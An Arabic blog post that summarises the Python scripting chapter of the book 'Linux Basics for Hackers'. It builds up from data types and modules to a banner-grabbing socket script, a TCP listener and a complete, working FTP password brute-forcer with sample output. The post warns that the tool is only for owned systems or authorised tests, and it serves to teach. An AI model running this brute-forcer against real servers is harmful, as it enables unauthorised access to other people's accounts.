Blog
Sep 24, 2026 - 8 MIN READ
لينكس للهاكرز #9 (الأخيرة): من كاتب أوامر إلى بانٍ لأدوات — أساسيات بايثون للهاكرز

لينكس للهاكرز #9 (الأخيرة): من كاتب أوامر إلى بانٍ لأدوات — أساسيات بايثون للهاكرز

murtaja

Murtaja

🧭 قبل أن نبدأ

وصلنا إلى الحلقة التاسعة والأخيرة من سلسلة Linux Basics for Hackers! نختتم رحلتنا مع الفصل السابع عشر: أساسيات برمجة بايثون للهاكرز — أطول فصل في الكتاب، وربما الأهم، لأنه يجمع كل ما تعلمناه في الحلقات الثماني السابقة (الشبكات، الصلاحيات، الخدمات، البرمجة النصية) في أداة واحدة نهائية: كاسر كلمات مرور FTP حقيقي، نبنيه معًا سطرًا سطرًا.


🐍 الفصل السابع عشر: أساسيات برمجة بايثون للهاكرز (Python Scripting Basics for Hackers)

🎓 لماذا بايثون تحديدًا؟

يفتتح الكاتب الفصل بجملة صريحة وحاسمة، تضع حدًا فاصلًا بين نوعين من "الهاكرز":

"Basic scripting skills are critical to becoming a master hacker. Without having developed some basic scripting skills, a beginner hacker who simply uses tools created by someone else will be condemned to the realm of script kiddies." — "مهارات البرمجة النصية الأساسية ضرورية لتصبح هاكرًا محترفًا. بدون تطوير بعض مهارات البرمجة النصية، سيبقى الهاكر المبتدئ الذي يكتفي باستخدام أدوات صنعها غيره محكومًا عليه بالبقاء في عالم الـ 'Script Kiddies' (الهواة المقلدين)."

هذا الفرق جوهري: مستخدم الأدوات الجاهزة محدود بما صنعه غيره، وأسهل اكتشافًا من برامج الحماية وأنظمة كشف التسلل، بينما من يكتب أدواته الخاصة يملك مرونة وتخفيًا أكبر بكثير. ولماذا بايثون تحديدًا من بين كل اللغات؟ لأن معظم أشهر أدوات الاختراق (sqlmap، scapy، Social-Engineer Toolkit) مكتوبة بها، ولأنها تأتي بمكتبة ضخمة من الوحدات الجاهزة (أكثر من 1000 وحدة مدمجة) توفر عليك إعادة اختراع العجلة في كل مرة.

📦 تثبيت وإدارة الوحدات مع pip

مدير الحزم الخاص ببايثون هو pip:

kali > apt-get install python3-pip
kali > pip3 install <اسم الحزمة>

للتحقق من مكان حزمة مثبَّتة أو تفاصيلها:

kali > pip3 show pysnmp

كما يمكن تثبيت وحدات من مصادر خارجية (مثل GitHub مباشرة) عبر wget ثم:

kali > tar -xzf package.tar.gz
kali > cd package_directory/
kali > python setup.py install

⚠️ نقطة حاسمة: التنسيق في بايثون ليس اختياريًا

فارق جوهري يميز بايثون عن bash:

"One difference between Python and some other scripting languages is that formatting is critically important in Python... If you have a group of code lines that you start with double indentation, you must be consistent with the double indentation throughout the entire block." — "أحد الفروقات بين بايثون ولغات البرمجة النصية الأخرى هو أن التنسيق (Formatting) في بايثون أمر بالغ الأهمية... إن بدأت مجموعة أسطر بمسافة بادئة مزدوجة، يجب أن تحافظ على هذه المسافة بثبات طوال الكتلة البرمجية بأكملها."

في bash، التنسيق مجرد ممارسة جيدة؛ في بايثون، هو جزء من قواعد اللغة نفسها — خطأ في المسافة البادئة (Indentation) يعني خطأ برمجي فعلي.

🧱 أول سكربت بايثون

#! /usr/bin/python3
name = "OccupyTheWeb"
print("Greetings to " + name + " from Hackers-Arise. The Best Place to Learn Hacking!")

تمامًا كما في bash، نحتاج منح صلاحية التنفيذ أولًا:

kali > chmod 755 hackers-arise_greetings.py
kali > ./hackers-arise_greetings.py

🧮 أنواع البيانات: أكثر بكثير مما اعتدنا عليه في Bash

بينما كانت متغيرات bash نصوصًا (Strings) في الغالب، تقدّم بايثون خمسة أنواع بيانات أساسية:

  • String (نص): "Hackers-Arise Is the Best"
  • Integer (عدد صحيح): 12
  • Float (عدد عشري): 3.1415
  • List (قائمة): [1, 2, 3, 4, 5, 6] — مجموعة قيم مرتبة، يبدأ ترقيمها من صفر لا واحد (أول عنصر هو القائمة[0]).
  • Dictionary (قاموس): {'name': 'OccupyTheWeb', 'value': 27} — أزواج "مفتاح:قيمة" غير مرتبة، تُستدعى بالمفتاح مباشرة بدلًا من الموقع الرقمي.

🧰 الدوال، والوحدات، والبرمجة كائنية التوجه

يشرح الكاتب مفهوم الدوال (Functions) الجاهزة في بايثون مثل len()، type()، sorted()، ثم مفهوم الوحدات (Modules) — ملفات كود جاهزة يمكن استيرادها بكلمة import بدلًا من إعادة كتابتها:

import nmap

ويقدّم مقدمة مبسطة وواضحة عن البرمجة كائنية التوجه (OOP): كل شيء في بايثون هو "كائن" (Object) له خصائص (Properties، مثل لون السيارة) وأفعال (Methods، مثل "قيادة" السيارة). فهم هذا المفهوم ضروري لأن مكتبة socket التي سنستخدمها بعد قليل هي مثال حي على OOP.

🎯 بناء أداة استطلاع حقيقية: Banner Grabbing

هنا يبدأ الفصل فعليًا في بناء أدوات هجومية. أول أداة: سكربت "التقاط اللافتة" (Banner Grabbing) — تقنية تكشف نوع وإصدار الخدمة العاملة على منفذ معين، وهي بالضبط ما يفعله موقع Shodan.io الشهير على نطاق يشمل كل عناوين IP على وجه الأرض:

#! /usr/bin/python3
import socket
s = socket.socket()
s.connect(("127.0.0.1", 22))
answer = s.recv(1024)
print(answer)
s.close()

أربعة أسطر فقط تكفي للاتصال بأي منفذ ومعرفة الخدمة التي تُصغي عليه — على سبيل المثال، ستحصل على رد مثل SSH-2.0-OpenSSH_7.3p1 Debian-1، وهذه معلومة استطلاعية حيوية قبل أي محاولة استغلال، لأن كل ثغرة مرتبطة بإصدار محدد من برنامج محدد.

📡 بناء مستمع شبكي (TCP Listener)

بعد بناء "عميل" يتصل بالآخرين، نبني الاتجاه المعاكس: خادمًا صغيرًا يستمع للاتصالات الواردة ويجمع معلومات عمّن يتصل به:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()

هذا السكربت البسيط — كما يشير الكاتب — يشبه فعليًا أداة استطلاع شبكي شهيرة تُدعى p0f.

🔁 حلقات التكرار والشروط: العقل المنطقي للسكربت

قبل الوصول للأداة النهائية، يشرح الفصل ثلاث بنى تحكم أساسية:

  • if / else: لاتخاذ قرار بناءً على شرط.
  • while: تكرار كتلة كود طالما شرط معين صحيح.
  • for: المرور على كل عنصر في قائمة أو قاموس، وهي البنية التي سنستخدمها لتجربة كل كلمة مرور في قائمة، واحدة تلو الأخرى.

مثال يجمع بين الفكرتين، يقدّمه الكاتب كمقدمة مباشرة لأداة كسر كلمات المرور:

for password in passwords:
    attempt = connect(username, password)
    if attempt == "230":
        print("Password found: " + password)
        sys.exit(0)

🏆 الأداة الختامية: كاسر كلمات مرور FTP كامل

هذه هي اللحظة التي تتوّج بها السلسلة كلها. باستخدام كل ما تعلمناه — الوحدات، القوائم، حلقات for، ومعالجة الأخطاء عبر try/except — يبني الكاتب أداة حقيقية بالكامل:

#! /usr/bin/python3
import ftplib

server = input("FTP Server: ")
user = input("username: ")
Passwordlist = input("Path to Password List > ")

try:
    with open(Passwordlist, 'r') as pw:
        for word in pw:
            word = word.strip('\r\n')
            try:
                ftp = ftplib.FTP(server)
                ftp.login(user, word)
                print('Success! The password is ' + word)
            except ftplib.error_perm as exc:
                print('still trying...', exc)
except Exception as exc:
    print('Wordlist error: ', exc)

آلية العمل بالتفصيل:

  1. نطلب من المستخدم عنوان خادم FTP، اسم المستخدم، ومسار قائمة كلمات المرور.
  2. نفتح ملف كلمات المرور ونمر عبره سطرًا سطرًا بحلقة for.
  3. نستخدم strip() لإزالة أحرف السطر الجديد الخفية (\r\n) من كل كلمة — تفصيل صغير لكنه حاسم، لأن تجاهله يعني رفض كل كلمة مرور حتى لو كانت صحيحة!
  4. نحاول تسجيل الدخول بكل كلمة عبر try، وإن فشلت المحاولة، ينتقل التنفيذ لـ except ويطبع "still trying..." وينتقل للكلمة التالية تلقائيًا دون أن يتوقف السكربت بالكامل بسبب الخطأ.
  5. عند النجاح، يُطبع كلمة المرور الصحيحة فورًا.

نتيجة التشغيل الفعلية التي يوردها الكتاب:

still trying...
still trying...
still trying...
Success! The password is toor

⚠️ هذه الأداة، كأي أداة كسر كلمات مرور، مُعدّة حصرًا لاختبار قوة كلمات المرور على أنظمتك الخاصة أو ضمن اختبار اختراق مصرَّح به كتابيًا. استخدامها ضد أي خادم لا تملكه هو جريمة إلكترونية موصوفة، بغض النظر عن مدى "بساطة" الكود.


💎 اقتباسات هذا الجزء تستحق التوقف عندها

  • "بدون مهارات برمجة نصية، سيبقى الهاكر المبتدئ محكومًا عليه بالبقاء في عالم الـ Script Kiddies." — الجملة التي تختصر الفارق بين الهواية والاحتراف في هذا المجال.
  • "التنسيق في بايثون أمر بالغ الأهمية، لا مجرد ممارسة جيدة." — درس تقني بسيط لكنه يوفر ساعات من التصحيح للمبتدئين.
  • كود كاسر كلمات مرور FTP في أقل من 15 سطرًا — أفضل دليل عملي على فكرة الكتاب الأساسية: الأدوات البسيطة، حين تُجمَع بفهم عميق، تصبح قوية بشكل مخيف.

🎯 خلاصة الجزء، وخلاصة السلسلة بأكملها

في هذا الفصل الختامي، انتقلنا من كتابة سكربتات bash بسيطة إلى بناء أدوات استطلاع واستغلال حقيقية بلغة بايثون — الأداة المفضّلة لدى الغالبية العظمى من الهاكرز المحترفين. لكن الأهم من ذلك أن هذا الفصل هو تتويج طبيعي لكل ما سبقه: نفس منطق الأنبوب (|) الذي تعلمناه في الفصل الأول أصبح الآن for loop يمرّر بيانات بين خطوات؛ نفس متغيرات bash من الفصل السابع أصبحت متغيرات بايثون بأنواع بيانات أغنى؛ ونفس مفهوم "الخدمات" الذي تعلمناه في الفصل الثاني عشر (FTP كواحدة منها) أصبح الآن هدفًا مباشرًا لأداة نكتبها بأيدينا.

هذه هي الرسالة التي يختم بها OccupyTheWeb كتابه بأكمله: لينكس ليس مجرد نظام تشغيل تتعلم أوامره، بل بيئة متكاملة، كل جزء فيها يبني على الجزء الذي قبله، من pwd البسيط في الصفحة الأولى، إلى كاسر كلمات مرور كامل في الصفحة الأخيرة.


بهذا نختتم سلسلة "لينكس للهاكرز" بتسعة أجزاء غطّت الكتاب بالكامل من الفصل الأول إلى السابع عشر. أتمنى أن تكون هذه الرحلة مفيدة لكل من يريد الدخول لعالم الأمن السيبراني من الباب الصحيح — فهم الأساسيات أولًا، قبل أي أداة جاهزة. 🚀

Built with Nuxt UI • © 2026